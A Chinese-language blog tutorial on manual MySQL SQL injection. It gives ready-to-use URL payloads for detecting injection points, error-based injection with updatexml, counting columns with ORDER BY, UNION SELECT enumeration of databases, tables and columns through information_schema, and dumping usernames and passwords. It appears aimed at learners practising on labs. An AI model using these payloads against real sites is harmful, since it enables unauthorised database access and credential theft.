前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >MySQL手动注入步骤

MySQL手动注入步骤

作者头像
用户9006224
发布2022-12-21 10:31:35
发布2022-12-21 10:31:35
1.3K00
代码可运行
举报
文章被收录于专栏:cjz的专栏cjz的专栏
运行总次数:0
代码可运行

MySQL相关的语句

database() 查看当前数据库

user()查看当前用户

version() 查看数据库版本

information_schema 数据库

schemata 表它是储存数据库名称的表

tables 表是用于储存所有表名的

columns 表是储存字段名称的

group_concat() 拼接函数

sleep()睡眠

判断是否存在注入点

判断注入点是有很多的方法,常见的 and -1=-1 还有其它的类型比如,堆叠注入、盲注的布尔型注入,时间型注入,还有报错注入以及闭合的一些符合,’(单引号),” (双引号)括号、百分号等一些闭合符合,还有就是注释符号,-- 或者 # 我局几个例子: 注释:双杠后面需要空格 防止注入失败,双杠注释不起作用就用 #

最常见使用的注入点判断语句

代码语言:javascript
代码运行次数:0
运行
复制
?id=1' and -1=-1 -- bbq

报错注入点

代码语言:javascript
代码运行次数:0
运行
复制
?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

我就举例两个,判断注入点方法是很多的,比如过waf等就需要一些转义等,手工注入就是一个个的去验证了

判断有多少个字段数

order by 它是一个排序语句,原理大致就是如果一个表里有三列数据,分别是 id ,user, pwd 这三个字段,那么 order by 1 它会按照 id 那一列字段排序,order by 2 就是按照 user 字段排序,依次类推当出现 order by 4 的时候由于表中没有第四列字段,就回报错那么我们就知道了这个表有三个字段数了,这一步就为了显示错位,也就是为了把我们SQL语句结果展示的地方

代码语言:javascript
代码运行次数:0
运行
复制
?id=1' order by 6 -- bbq

展示显错位

上一步判断字段数时知道了多少列也就是字段数量,那么就展示错位为了下一步注入语句结果的展示 语句中的 11,22,33……是根据判断的字段数来的而且 id或其它参数是查询不到结果的才能展示错位

代码语言:javascript
代码运行次数:0
运行
复制
?id=-1' union select 11,22,33,44,55 -- bbq 

注意:显错位不全或者多了,都会导致没有结果

查询当前数据库

用显示错位的命令,可以看到页面上看到你 11,22,33等数字,在页面显示的数字写入SQL语句来注入 version()查看数据库版本 ,database()查看当前数据库

代码语言:javascript
代码运行次数:0
运行
复制
?id=-1' union select version() ,database(),33,44,55 -- bbq

查询所有数据库: 如果表多页面展示不全,可以使用 LIMIT 一页页展示

代码语言:javascript
代码运行次数:0
运行
复制
?id=-1' union select table_schema,22 from information_schema.tables -- bbq

或者:

代码语言:javascript
代码运行次数:0
运行
复制
?id=-1' union select schema_name,22 from information_schema.schemata-- bbq

table_schema 字段是information_schema数据库的tables表中记录数据库的字段 schema_name 字段是information_schema数据库的schemata表中记录数据库的字段

查询出数据库中的所有表

如果表多页面展示不全,可以使用 LIMIT 一页页展示,也可以使用group_concat() 拼接函数将显示的字段名包起来展示 查询当前数据库的所有表:

代码语言:javascript
代码运行次数:0
运行
复制
?id=-1' union select table_name,22,33 from information_schema.tables where table_schema=database() -- bbq 

table_name 字段是information_schema数据库的tables表中记录数据库表的字段 大致格式样例:?id=-1’ union select table_name,22,33 from information_schema.tables where table_schema=‘数据库名称’ – bbq

查询指定的表中的列名

查询出表名下一步就是,查询字段也就是列名称

查询指定数据库表的所有字段:

代码语言:javascript
代码运行次数:0
运行
复制
?id=-1' union select column_name,22,33 from information_schema.columns where table_schema='pikachu' and table_name='users' -- bbq 

column_name 字段是information_schema数据库的columns表中记录所有表字段的字段 table_schematable_name 字段在information_schema数据库的columns表中记录的和tables表中一样 大致模板:?id=-1’ union select column_name,22,33 from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ – bbq

查询数据

当经过以上步骤,已经知道了数据库名、表名、字段名,那么就可以查询我们需要的数据了 例如:表名是 users 需要的数据字段分别是 username,password

代码语言:javascript
代码运行次数:0
运行
复制
?id=-1' union select username,password,33 from users -- bbq

手工步骤就这样,根据项目情况自己要改变注入方法以及学习其它方法注入

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-07-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • MySQL相关的语句
  • 判断是否存在注入点
  • 判断有多少个字段数
  • 展示显错位
  • 查询当前数据库
  • 查询出数据库中的所有表
  • 查询指定的表中的列名
  • 查询数据
  • 手工步骤就这样,根据项目情况自己要改变注入方法以及学习其它方法注入
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档